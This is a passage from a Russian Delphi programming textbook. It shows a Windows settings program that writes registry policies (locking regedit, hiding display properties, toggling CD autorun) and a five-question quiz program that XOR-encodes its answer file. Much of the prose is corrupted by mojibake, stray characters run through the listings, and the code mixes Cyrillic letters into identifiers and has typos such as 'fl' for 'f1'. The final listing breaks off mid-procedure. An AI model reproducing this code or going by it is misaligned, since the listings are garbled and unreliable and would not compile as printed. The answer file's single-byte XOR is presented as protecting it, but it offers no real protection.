По нажатию кнопки Выполнить мы проверяем состояние каждого флажка. Если флажок установлен, то мы записываем в реестр ключ, который включает выбранную опцию, в противном же случае — просто отключаем эту опцию.

Теперь можно откомпилировать Рё запустить программу РЅР° выполнение. Выберите, например, опцию Заблокировать реестр Рё нажмите РєРЅРѕРїРєСѓ Выполнить. Чтобы удостовериться РІ том, что реестр действительно заблокирован, выполните команду системного меню РџСѓСЃРє→Выполнить, РІ диалоговом РѕРєРЅРµ Запуск программы введите regedit Рё нажмите РєРЅРѕРїРєСѓ OK. Если вместо РѕРєРЅР° реестра РІС‹ увидите сообщение РѕР± ошибке "Редактирование реестра запрещено администратором системы" (СЂРёСЃ. 12.2), то это значит, что наша программа работает нормально.

Рис. 12.2. Программа заблокировала системный реестр Windows

После этого опять перейдите в программу Настройка ОС Windows, сбросьте флажок Заблокировать реестр и нажмите кнопку Выполнить. Попробуйте еще раз войти в реестр. Как видите, теперь никаких препятствий не возникает.

 

Полный исходный код модуля

Полный исходный код модуля программы настройки Windows представлен в листинге 12.1.

Листинг 12.1. Модуль программы настройки Windows

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Registry;

type TForm1 = class(TForm)

В Button1: TButton;

В GroupBox1: TGroupBox;

В CheckBox1: TCheckBox;

В CheckBox2: TCheckBox;

В CheckBox3: TCheckBox;

В procedure Button1Click(Sender: TObject);

В procedure FormCreate(Sender: TObject);

private

В { Private declarations }

public

В { Public declarations }

end;

var

В Form1: TForm1;

В reg: Tregistry;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

begin

В if CheckBox1.Checked then

 begin //если установлен флажок напротив первой опции

  reg:= TRegistry.Create; //открываем реестр

  //открываем ветку реестра

В  reg.RootKey:= HKEY_LOCAL_MACHINE;

  reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom', True); //открываем требуемый раздел в реестре

  //записываем соответствующий ключ

В  reg.WriteInteger('Autorun', 1);

В  reg.CloseKey;

 end else begin //иначе…

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_LOCAL_MACHINE;

В  reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom', True);

  //…отключаем эту возможность

В  reg.WriteInteger('Autorun', 0);

В  reg.CloseKey;

В end;

 //Таким же образом обрабатываем остальные опции

 //Для опции "Отключить свойства экрана":

В if CheckBox2.Checked then begin

В  reg:= TRegistry.Create;

В  reg.RootKey:=HKEY_CURRENT_USER;

В  reg.OpenKey('Software\microsoft\Windows\CurrentVersion\' +

В В  'Policies\System', True);

  //отключить свойства экрана

В  reg.WriteInteger('NoDispCPL', 1);

В  reg.CloseKey;

В end else begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'+

В  В 'Policies\System', True);

  //Восстановить свойства экрана

В  reg.WriteInteger('NoDispCPL', 0);

В  reg.CloseKey;

В end;

 //Для опции "Заблокировать реестр":

В if CheckBox3.Checked then begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  В 'Policies\System', True);

  //Заблокировать реестр

В  reg.WriteInteger('DisableRegistryTools', 1);

В  reg.CloseKey;

В end else begin

В  reg:= TRegistry.Create;

В  reg.RootKey:= HKEY_CURRENT_USER;

В  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  В 'Policies\System', True);

  //открыть доступ к реестру

В  reg.WriteInteger('DisableRegistryTools', 0);

В  reg.CloseKey;

В end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 reg:= TRegistry.Create;//открываем реестр

 //настройки для текущего пользователя

В reg.RootKey:= HKEY_CURRENT_USER;

 reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom', False); //открываем раздел

 if reg.ValueExists('Autorun') then //если ключ существует

  if reg.readinteger('autorun') = 1 //и если он равен 1,

   then //то устанавливаем флажок первой опции

В В В  CheckBox1.Checked:= True;

 reg.CloseKey;//закрываем реестр

 //Таким же образом проверяем остальные опции

 //Для опции "Отключить свойства экрана":

В reg:= TRegistry.Create;

В reg.RootKey:= HKEY_CURRENT_USER;

В reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  'Policies\System', False);

В if reg.ValueExists('NoDispCPL') then

В  if reg.ReadInteger('NoDispCPL') = 1 then CheckBox2.Checked:= True;

В reg.CloseKey;

 //для опции "Заблокировать реестр":

В reg:= TRegistry.Create;

В reg.RootKey:= HKEY_CURRENT_USER;

В reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +

В  'Policies\System', False);

В if reg.ValueExists('DisableRegistryTools') then

В  if reg.ReadInteger('DisableRegistryTools') = 1 then CheckBox3.Checked:= True;

В reg.CloseKey;

end;

end.

⊚ Р’СЃРµ файлы проекта Рё исполняемый файл рассмотренной программы находятся РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ папке Chapter_12.

 

Постановка задачи

 

Разработать программу для тестирования знаний в разных областях. Пользователь должен ответить на несколько вопросов, которые случайным образом выбираются из общей базы вопросов. После того как пользователь ответил на все вопросы, программа должна высчитать и выдать результат прохождения теста — процент правильных ответов. Также необходимо дать возможность пользователю подключать внешние файлы, содержащие вопросы и варианты ответов к ним. Для того чтобы пользователь не смог прочитать правильные ответы, следует зашифровать файл с вопросами и ответами.

 

Структура базы вопросов и ответов

Перед тем как разработать сам тест, разберем содержимое файла, в котором будут храниться вопросы и варианты ответов к ним. Это будет ini-файл следующей структуры:

[num]

num=количество вопросов в базе

[Q]

0=Первый вопрос

1=Второй вопрос

[Рђ]

0=0твет к первому вопросу

1=0твет ко второму вопросу

[W1]

0=Неправильный вариант к первому вопросу

1= Неправильный вариант ко второму вопросу

[W2]

0=Неправильный вариант к первому вопросу

1= Неправильный вариант ко второму вопросу

[W3]

0=Неправильный вариант к первому вопросу

1=Неправильный вариант ко второму вопросу

В этом ini-файле шесть разделов: num, Q, A, W1, W2 и W3. Как вы понимаете, если кто-то заглянет в этот файл, то уже через несколько минут он будет знать правильные ответы на все вопросы. А если он этот файл подкорректирует, то и вовсе будет получать только правильные варианты ответов. Для того чтобы этого не случилось, мы будем шифровать нашу базу вопросов. Это можно сделать с помощью программы Блокнот-шифровальщик, рассмотренной в главе 7. Для шифрования выберем небольшое смещение, например, 101. После того как вы создали все вопросы и варианты ответов к ним, не забудьте указать количество вопросов в разделе num. После этого зашифруйте базу, используя смещение 101.

⊚ Пример зашифрованной базы РІРѕРїСЂРѕСЃРѕРІ/ответов можно найти РЅР° прилагаемом Рє РєРЅРёРіРµ компакт-РґРёСЃРєРµ РІ файле Chapter_13\comp.ini.

 

Разработка формы

Создайте новый проект Delphi. Присвойте свойству Caption формы значение Tester, а свойству BorderStyle — bsNone. У верхнего края формы разместите компонент Label категории Standard, присвоив его свойству Caption значение Первый вопрос:.

Ниже разместите компонент Memo категории Standard, с помощью которого мы будем отображать текущий вопрос. Присвойте свойству Memo1.Readonly значение True, чтобы пользователь не мог изменить текст вопроса.

Под вопросом будут расположены варианты ответов. Разместите под компонентом Memo1 компонент RadioGroup (группа переключателей) категории Standard и присвойте его свойству Caption значение Варианты ответов:. Разместите на компоненте RadioGroup1 четыре компонента RadioButton (переключатели) категории Standard. Очистите для каждого из них свойство Caption, а свойству Name присвойте значения an1, an2, an3 и an4 соответственно.

В любом месте формы разместите компонент Label, который изначально будет невидимым. Он будет служить для отображения результатов и в последствии будет растянут на всю форму. Установите для него свойства согласно табл. 13.1.

Таблица 13.1. Свойства компонента Label, отображающего результат теста

Осуществлять переход к следующему вопросу мы будем с помощью панелей. Разместите под вариантами ответов пять компонентов Panel категории Standard. Для каждой из них присвойте свойству Caption значение Следующий вопрос>>>>>, свойству Color — значение clMaroon, а свойству Font.Color — значение clWhite. Присвойте им имена (свойство Name) p1, р2, p3, р4 и р5. Для того чтобы убрать выпуклость и привести панель к виду стильной кнопки, изменим значение свойства BevelInner на bvRaised, а свойства BevelOuter — на bvLowered. Для всех панелей, кроме p1, присвойте свойству Visible значение False (изначально будет видна только первая панель).

Поскольку в программе будет предусмотрена возможность динамической загрузки базы вопросов/ответов, нам понадобится диалоговое окно открытия файла. Для этого разместим на форме компонент OpenDialog категории Dialogs и присвоим ему имя Open1 (свойство Name). Кроме того, определите в свойстве Filter следующий фильтр: ini-файлы|*.ini|Все файлы|*.*.

Теперь разработаем меню программы. Для этого разместите на форме компонент MainMenu категории Standard и создайте меню в соответствии с рис. 13.1.

⇖ Разработка меню рассматривается РІ главе 6, "Программа просмотра СЂРёСЃСѓРЅРєРѕРІ".

Рис. 13.1. Меню для программы-теста

Полученная форма должна примерно соответствовать рис. 13.2.

Рис. 13.2. Форма программы-теста

 

Разработка программного кода

Для начала, объявим все глобальные переменные:

var

В Form1: TForm1;

 i, a, n, balls, vopr: integer; {различные счетчики и переменные для подсчета баллов}

 dir, dir2, ss, zz, yes: string; {путь к файлу с вопросами, к программе и расшифрованной базе}

 win: TIniFile; //переменная для работы с ini-файлами

  mass: array[1..100] of integer; {содержит номера уже заданных вопросы, чтобы они не повторялись}

 f1, f2: file of char; //переменные для работы с файлами

  сор: char; //для работы с каждым символом отдельно

Добавим в раздел uses ссылку на модуль IniFiles, который потребуется для работы с классом TIniFile. Мы также разработаем четыре собственные процедуры. Объявим их как закрытые члены класса формы:

type

TForm1 = class(TForm)

 …

private

В {В Private declarations }

 procedure start; //начало теста

 procedure question_select ; //выбор вопроса

 procedure vars(var variant: integer); {сортировка и определение правильного варианта ответа}

  procedureverno() ; {проверка: правильно ли ответил пользователь}

public

В { Public declarations }

end;

Теперь создадим сами процедуры в разделе implementation. Процедура Start:

procedure TForm1.start();

begin

 Randomize; //Включаем генератор случайных чисел

 for i:=1 to n do mass[i] := 0; //n – количеству вопросов

 {$I-} //отключаем контроль ошибок ввода/вывода.

 //делаем все элементы видимыми для пользователя

В Memo1.Visible:= True;

В RadioGroup1.Visible:= True;

В Label1.Visible:= True;

В an1.Visible:= True;

В an2.Visible:= True;

В an3.Visible:= True;

В an4.Visible:= True;

В p1.Visible:= True;

В p2.Visible:= False;

В p3.Visible:= False;

В p4.Visible:= False;

В p5.Visible:= False;

В balls:= 0;

 Label2.Visible:= False; //прячем результаты

 Label1.Caption:= 'Первый вопрос:';

 dir2:= 'C:\base.bsd'; //путь к расшифрованной базе

 //копируем зашифрованную базу на диск С:

В CopyFile(PChar(ss), PChar(dir2), True);

 //связываем переменную f1 с зашифрованным ini-файлом

В AssignFile(f1, ss);

 //связываем переменную f2 с файлом C:\base.bsd

В AssignFile(f2, dir2);

 Reset(f1); //открываем первый файл на чтение

 Rewrite(f2); //второй – на запись

В while not Eof(fl) do

 begin //пока не достигнут конец первого файла

  Read(f1, cop); //считываем один символ из файла

  сор:= Chr(Ord(cop) xor 101);  //расшифровываем символ

  Write(f2, сор); //записываем расшифрованный символ в файл

В  end;

 CloseFile(f1) ; //закрываем первый файл

 CloseFile(f2); //закрываем второй файл

 {$I+} //включаем контроль ошибок ввода/вывода

  Win := TIniFile.Create(dir2) ; //работаем с ini-файлом

 //считываем количество вопросов в базе

В ss:= Win.ReadString('num', 'num', ss);

 //преобразовываем строку в число и записываем значение в n

В  n := StrToInt(ss);

В vopr:=Random(4) + 1;

//случайное число от 1 до 4

  vars(vopr) ; {передаем число процедуре vars, которая сортирует варианты ответов}

end;

Эта процедура начинает игру. Сначала делаем все элементы видимыми и прячем метку, отображающую результат прохождения теста. Затем открываем файл, содержащий вопросы, и считываем из него по одному символу. Каждый байт расшифровывается особо и записывается в отдельный файл. Далее мы работаем с расшифрованным файлом как с обычным ini-файлом. Первое, что мы считываем, — это общее количество вопросов в базе.

Теперь очередь процедуры question_select:

procedure TForm1.question_seleСЃt();

label ran ; //метка ran для быстрого перехода

begin

В Randomize;

ran:

 a:=Random(n); //выбираем случайный вопрос из базы

 //проверяем: не задавали ли мы этот вопрос ранее

В for i : =1 to n do

В  if mass[i] = a then goto ran;

В for i : =1 to n do

В  if mass[i] = 0 then begin

   mass[i] := а; {записываем номер вопроса, чтобы не задавать его больше }

В  В  Break ;

В  end;

 //сбрасываем флажки со всех вариантов ответов

В an1.Checked:= False;

В an2.Checked:= False;

В an3.Checked:= False;

В an4.Checked:= False;

end;

Эта процедура случайным образом выбирает вопрос. Затем выполняется проверка: не задавался ли этот вопрос ранее. Если мы нашли вопрос, который еще не был задан, то задаем его и помечаем как уже заданный, чтобы не задавать его больше в текущей сессии.

Процедура verno:

procedure TForm1.verno();

begin

В if an1.Checked then

В В if yes = an1.Caption then balls:= balls + 1;

В if an2.Checked then

В  if yes = an2.Caption then balls:= balls + 1;

В if an3.Checked then

В  if yes = an3.Caption then balls:= balls + 1;

В if an4.Checked then

В  if yes = an4.Caption then balls:= balls + 1;

end;

Здесь мы сравниваем правильный ответ с вариантом, который дал пользователь, и в случае правильного ответа пополняем счетчик правильных ответов.

Процедура vars:

procedure TForm1.vars(var variant: integer);

begin

 //вызываем процедуру выбора случайного вопроса question_select();

В case variant of

В 1:

В В begin

   Win:= TIniFile.Create(dir2); //открываем ini-файл

   //считываем вопрос

В В В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

   //считываем правильный вариант ответа

В В В an1.Caption:= Win.ReadString('A', IntToStr(a), an1.Caption);

   //считываем три неверных варианта к данному вопросу

В В В an2.Caption:= Win.ReadString('W1', IntToStr(a), an2.Caption);

В В В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В В an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

   Win.Free; //освобождаем ini-файл

   //помечаем первый вариант как правильный

В В  yes:= an1.Caption;

В  end;

В 2:

В В begin

В  В Win:= TIniFile.Create(dir2);

В В В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В  В an2.Caption:= Win.Readstring('A', IntToStr(a), an2.Caption);

В В В an1.Caption:= Win.Readstring('W1', IntToStr(a), an1.Caption);

В  В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В  an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

В В В Win.Free;

В В  yes: = an2.Caption;

В  end;

В 3:

В В begin

В В  Win:= TIniFile.Create(dir2);

В  В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В В В an3.Caption:= Win.ReadString('A', IntToStr(a), an3.Caption);

В В  an2.Caption:= Win.ReadString('W1', IntToStr(a), an2.Caption);

В  В an1.Caption:= Win.ReadString('W2', IntToStr(a), an1.Caption);

В В В an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

В В  Win.Free;

В В  yes:= an3.Caption;

В  end;

В 4:

В В begin

В В  Win:= TIniFile.Create(dir2);

В В  Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В  В an4.Caption:= Win.ReadString('A', IntToStr(a), an4.Caption);

В В В an2.Caption:= Win.ReadString('Wl', IntToStr(a), an2.Caption);

В  В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В В an1.Caption:= Win.ReadString('W3', IntToStr(a), an1.Caption);

В В  Win.Free;

В В  yes:= an4.Caption;

В  end;

В end;

end;

Здесь мы вначале запускаем процедуру выбора вопроса. Потом проверяем: какой вариант ответа является правильным. Затем считываем вопрос и варианты ответов к нему. Сортируем и отображаем все это на форме.

Обработчик события создания главной формы будет выглядеть следующим образом:

procedure TForm1.FormCreate(Sender: TObject);

begin

В Randomize;

 //получаем каталог, в котором находится наша программа

В dir:= GetCurrentDir;

 ss:= dir + '\comp.ini'; //путь к базе вопросов

В zz:= ss;

 start(); //начинаем тест

end;

Теперь создадим обработчик события главной формы OnDestroy (возникает при выходе из программы):

procedure TForm1.FormDestroy(Sender: TObject);

begin

 DeleteFile('c:\base.bsd'); //удаляем расшифрованную базу

end;

Теперь обрабатываем команды меню. Обработчик события OnClick для пункта Игра→Заново:

procedure TForm1.N1Click(Sender: TObject);

begin

В Randomize;

В ss:= zz;

 start(); //начало теста

end;

Поскольку у нас весь основной код вынесен в процедуры, теперь достаточно только вызвать процедуру начала игры.

Обработчик события OnClick для пункта меню Игра→Загрузить базу:

procedure TForm1.N2Click(Sender: TObject);

begin

В Randomize;

 //начинаем обзор с текущего каталога

В Open1.InitialDir:= GetCurrentDir;

 if not Open1.Execute then ShowMessage('Вы не выбрали файл!')

В else begin

  ss:= Open1.FileName; //открываем выбранный файл

  zz:= ss; //запоминаем путь к базе

  start (); //начинаем тест

В  end;

end;

Здесь мы предлагаем пользователю выбрать через диалоговое окно обзора ini– или любой другой файл, в котором содержатся зашифрованные вопросы и варианты ответов. Когда пользователь выбрал файл, мы запускаем процедуру start и, тем самым, начинаем тест.

Обработчик события OnClick для пункта меню Игра→Выход:

procedure TForm1.N4Click(Sender: TObject);

begin

 Halt; //выход из программы

end;

Теперь обработаем щелчок мышью на панели p1:

procedure TForm1.p1Click(Sender: TObject);

begin

 Label1.Caption:= 'Второй вопрос:';

 verno(); //принимаем вариант ответа

 p1.Visible:= False; //убираем первую панель

 р2.Visible:=True; //активизируем вторую панель

 vopr:= Random(4) +1; //выбираем случайный вариант ответа

 vars(vopr); //задаем вопрос

end;

Здесь мы вначале изменяем заголовок на "Второй вопрос:", после чего принимаем вариант ответа, выбранный пользователем, вызывая процедуру verno.

Затем готовим форму ко второму вопросу: прячем первую панель и выводим вторую. Вызываем процедуру vars, которая выбирает вопрос и отображает его вместе с вариантами ответа.

Обработаем щелчок мышью на второй панели:

procedure TForm1.p2Click(Sender: TObject);

begin

 Label1.Caption:= 'Третий вопрос:';

В verno();

В p2.Visible:= False;

В p3.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr);

end;

Здесь происходит то же самое, что и для панели p1, только надпись метки принимает значение "Третий вопрос", мы прячем вторую "кнопку" и активизируем третью для следующего вопроса.

Аналогичные обработчики события OnClick создаем для третьей и четвертой панелей:

procedure TForm1.p3Click(Sender: TObject);

begin

 Label1.Caption := 'Четвертый вопрос:';

В verno();

В СЂ3.Visible:= False;

В p4.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr) ;

end;

procedure TForm1.p4Click(Sender: TObject);

begin

 Label1.Caption:= 'Пятый вопрос:';

В verno();

В p4.Visible:= False;

В p5.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr);

end;

Для пятой (последней) панели обработчик события OnClick будет выглядеть несколько иначе:

procedure TForm1.p5Click(Sender: TObject);

begin

 //проверяем правильность ответа на последний вопрос

В verno () ;

 //узнаем, сколько баллов набрал пользователь

В ss := IntToStr(balls) ;

 //делаем почти все компоненты невидимыми

В Memo1 . Visible:= False;

В СЂ5.Visible:= False;

В RadioGroup1.Visible:= False;

В Label1.Visible:= False;

В an1.Visible:= False;

В an2.Visible:= False;

В an3.Visible:= False;

В an4.Visible:= False;

 Label2.Visible:=True; //показываем метку с результатом

 Label2.Align := alClient; //растягиваем ее на всю форму

 //Отображаем процент правильных ответов

 Label2.Caption:= 'Правильных ответов' + IntToStr(balls*(100 div 5))+'%';

end;

После проверки правильности ответа на последний вопрос, мы прячем почти все компоненты на форме, оставляя видимой только метку Label2 для вывода результата и меню, чтобы можно было продолжить работу с программой. С помощью метки мы отображаем процент правильных ответов пользователя по формуле: "количество правильных ответов * (100 / количество заданных вопросов)". Пример отображения результата теста представлен на рис. 13.3.

Рис. 13.3. Отображение результата теста

Единственное, что осталось сделать, — реализовать имитацию нажатия кнопки при щелчке на панели мышью. Для того чтобы "оживить" панель, для нее следует создать обработчики двух событий: OnMouseDown и OnMouseUp. Первое событие возникает при щелчке мышью, а второе — при отпускании кнопки мыши. Для панели pi эти обработчики будут выглядеть следующим образом:

procedure TForm1.p1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p1.BevelInner:= bvLowered;

В p1.BevelOuter:= bvRaised;

end;

procedure TForm1.p1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

В p1 . BevelInner:=bvRaised;

В p1.BevelOuter:=bvLowered;

end;

Для всех остальных панелей обработчики этих событий будут выглядеть аналогичным образом за исключением того, что имя p1 потребуется изменить на имя р2, p3, р4 или р5.

Программа тестирования в действии показана на рис. 13.4.

Рис. 13.4. Программа тестирования в действии

 

Полный исходный код модуля

Полный код модуля программы-теста представлен в листинге 13.1.

Листинг 13.1. Модуль программы-теста

unit Unit1;

interface

uses

В Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, IniFiles, jpeg, Menus;

type TForm1 = class(TForm)

В Memo1: TMemo;

В RadioGroup1: TRadioGroup;

В p1: TPanel;

В p2: TPanel;

В p3: TPanel;

В p4: TPanel;

В p5: TPanel;

В an1: TRadioButton;

В an2: TRadioButton;

В an3: TRadioButton;

В an4: TRadioButton;

В Label1: TLabel;

В Label2: TLabel;

В MainMenu1:В TMainMenu;

В N1: TMenuItem;

В N2: TMenuItem;

В N3: TMenuItem;

В N4: TMenuItem;

В Open1: TOpenDialog;

В procedure FormCreate(Sender: TObject);

В procedure p1Click(Sender: TObject);

В procedure p2Click(Sender: TObject);

В procedure p3Click(Sender: TObject);

В procedure p4Click(Sender: TObject);

В procedure p5Click(Sender: TObject);

В procedure Image1Click(Sender: TObject);

В procedure p1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p2MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p2MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p3MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p3MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p4MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p4MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p5MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure p5MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

В procedure N1Click(Sender: TObject);

В procedure N2Click(Sender: TObject);

В procedure N4Click(Sender: TObject);

В procedure FormDestroy(Sender: TObject);

private

В {В Private declarations }

 procedure start; //начало теста

 procedure question_select; //выбор вопроса

 procedure vars(var variant: integer); {сортировка и определение правильного варианта ответа}

 procedureverno(); {проверка: правильно ли ответил пользователь}

public

В { Public declarations }

end;

var

В Form1: TForm1;

 i, a, n, balls, vopr: integer; {различные счетчики и переменные для подсчета баллов}

 dir, dir2, ss, zz, yes: string; {путь к файлу с вопросами, к программе и расшифрованной базе}

 win: TIniFile; //переменная для работы с ini-файлами

 mass: array[1..100] of integer; {содержит номера уже заданных вопросы, чтобы они не повторялись}

 f1, f2: file of char; //переменные для работы с файлами

 сор: char; //для работы с каждым символом отдельно

implementation

{$R *.dfm}

procedure TForm1.vars(var variant: integer);

begin

 //вызываем процедуру выбора случайного вопроса question_select();

В case variant of

В 1:

В В begin

   Win:= TIniFile.Create(dir2); //открываем ini-файл

   //считываем вопрос

В В В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

   //считываем правильный вариант ответа

В В В an1.Caption:= Win.ReadString('A', IntToStr(a), an1.Caption);

   //считываем три неверных варианта к данному вопросу

В В В an2.Caption:= Win.ReadString('W1', IntToStr(a), an2.Caption);

В В В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В В an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

   Win.Free; //освобождаем ini-файл

   //помечаем первый вариант как правильный

В В  yes:= an1.Caption;

В  end;

В 2:

В В begin

В  В Win:= TIniFile.Create(dir2);

В В В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В  В an2.Caption:= Win.Readstring('A', IntToStr(a), an2.Caption);

В В В an1.Caption:= Win.Readstring('W1', IntToStr(a), an1.Caption);

В  В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В  an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

В В В Win.Free;

В В  yes: = an2.Caption;

В  end;

В 3:

В В begin

В В  Win:= TIniFile.Create(dir2);

В  В Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В В В an3.Caption:= Win.ReadString('A', IntToStr(a), an3.Caption);

В В  an2.Caption:= Win.ReadString('W1', IntToStr(a), an2.Caption);

В  В an1.Caption:= Win.ReadString('W2', IntToStr(a), an1.Caption);

В В В an4.Caption:= Win.ReadString('W3', IntToStr(a), an4.Caption);

В В  Win.Free;

В В  yes:= an3.Caption;

В  end;

В 4:

В В begin

В В  Win:= TIniFile.Create(dir2);

В В  Memo1.Text:= Win.ReadString('Q', IntToStr(a), Memo1.Text);

В  В an4.Caption:= Win.ReadString('A', IntToStr(a), an4.Caption);

В В В an2.Caption:= Win.ReadString('Wl', IntToStr(a), an2.Caption);

В  В an3.Caption:= Win.ReadString('W2', IntToStr(a), an3.Caption);

В В В an1.Caption:= Win.ReadString('W3', IntToStr(a), an1.Caption);

В В  Win.Free;

В В  yes:= an4.Caption;

В  end;

В end;

end;

procedure TForm1.start();

begin

 Randomize; //Включаем генератор случайных чисел

 for i:=1 to n do mass[i] := 0; //n – количеству вопросов

 {$I-} //отключаем контроль ошибок ввода/вывода.

 //делаем все элементы видимыми для пользователя

В Memo1.Visible:= True;

В RadioGroup1.Visible:= True;

В Label1.Visible:= True;

В an1.Visible:= True;

В an2.Visible:= True;

В an3.Visible:= True;

В an4.Visible:= True;

В p1.Visible:= True;

В p2.Visible:= False;

В p3.Visible:= False;

В p4.Visible:= False;

В p5.Visible:= False;

В balls:= 0;

 Label2.Visible:= False; //прячем результаты

 Label1.Caption:= 'Первый вопрос:';

 dir2:= 'C:\base.bsd'; //путь к расшифрованной базе

 //копируем зашифрованную базу на диск С:

В CopyFile(PChar(ss), PChar(dir2), True);

 //связываем переменную f1 с зашифрованным ini-файлом

В AssignFile(f1, ss);

 //связываем переменную f2 с файлом C:\base.bsd

В AssignFile(f2, dir2);

 Reset(f1); //открываем первый файл на чтение

 Rewrite(f2); //второй – на запись

В while not Eof(fl) do

 begin //пока не достигнут конец первого файла

  Read(f1, cop); //считываем один символ из файла

  сор:= Chr(Ord(cop) xor 101); //расшифровываем символ

  Write(f2, сор); //записываем расшифрованный символ в файл

В end;

 CloseFile(f1); //закрываем первый файл

 CloseFile(f2); //закрываем второй файл

 {$I+} //включаем контроль ошибок ввода/вывода

 Win:= TIniFile.Create(dir2); //работаем с ini-файлом

 //считываем количество вопросов в базе

В ss:= Win.ReadString('num', 'num', ss);

 //преобразовываем строку в число и записываем значение в n

В n:= StrToInt(ss);

В vopr:=Random(4) + 1;

//случайное число от 1 до 4

 vars(vopr); {передаем число процедуре vars, которая сортирует варианты ответов}

end;

procedure TForm1.question_seleСЃt();

label ran; //метка ran для быстрого перехода

begin

В Randomize;

ran:

 a:=Random(n); //выбираем случайный вопрос из базы

 //проверяем: не задавали ли мы этот вопрос ранее

В for i:=1 to n do

В  if mass[i] = a then goto ran;

В for i:=1 to n do

В  if mass[i] = 0 then begin

   mass[i]:= а; {записываем номер вопроса, чтобы не задавать его больше }

В  В Break;

В  end;

 //сбрасываем флажки со всех вариантов ответов

В an1.Checked:= False;

В an2.Checked:= False;

В an3.Checked:= False;

В an4.Checked:= False;

end;

procedure TForm1.verno();

begin

В if an1.Checked then

В В if yes = an1.Caption then balls:= balls + 1;

В if an2.Checked then

В  if yes = an2.Caption then balls:= balls + 1;

В if an3.Checked then

В  if yes = an3.Caption then balls:= balls + 1;

В if an4.Checked then

В  if yes = an4.Caption then balls:= balls + 1;

end;

procedure TForm1.N2Click(Sender: TObject);

begin

В Randomize;

 //начинаем обзор с текущего каталога

В Open1.InitialDir:= GetCurrentDir;

 if not Open1.Execute then ShowMessage('Вы не выбрали файл!')

В else begin

  ss:= Open1.FileName; //открываем выбранный файл

  zz:= ss; //запоминаем путь к базе

  start(); //начинаем тест

В end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

В Randomize;

 //получаем каталог, в котором находится наша программа

В dir:= GetCurrentDir;

 ss:= dir + '\comp.ini'; //путь к базе вопросов

В zz:= ss;

 start(); //начинаем тест

end;

procedure TForm1.p1Click(Sender: TObject);

begin

 Label1.Caption:= 'Второй вопрос:';

 verno(); //принимаем вариант ответа

 p1.Visible:= False; //убираем первую панель

 р2.Visible:=True; //активизируем вторую панель

 vopr:= Random(4) +1; //выбираем случайный вариант ответа

 vars(vopr); //задаем вопрос

end;

procedure TForm1.p2Click(Sender: TObject);

begin

 Label1.Caption:= 'Третий вопрос:';

В verno();

В p2.Visible:= False;

В p3.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr);

end;

procedure TForm1.p3Click(Sender: TObject);

begin

 Label1.Caption:= 'Четвертый вопрос:';

В verno();

В СЂ3.Visible:= False;

В p4.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr);

end;

procedure TForm1.p4Click(Sender: TObject);

begin

 Label1.Caption:= 'Пятый вопрос:';

В verno();

В p4.Visible:= False;

В p5.Visible:= True;

В vopr:= Random(4) + 1;

В vars(vopr);

end;

procedure TForm1.p5Click(Sender: TObject);

begin

 //проверяем правильность ответа на последний вопрос

В verno() ;

 //узнаем, сколько баллов набрал пользователь

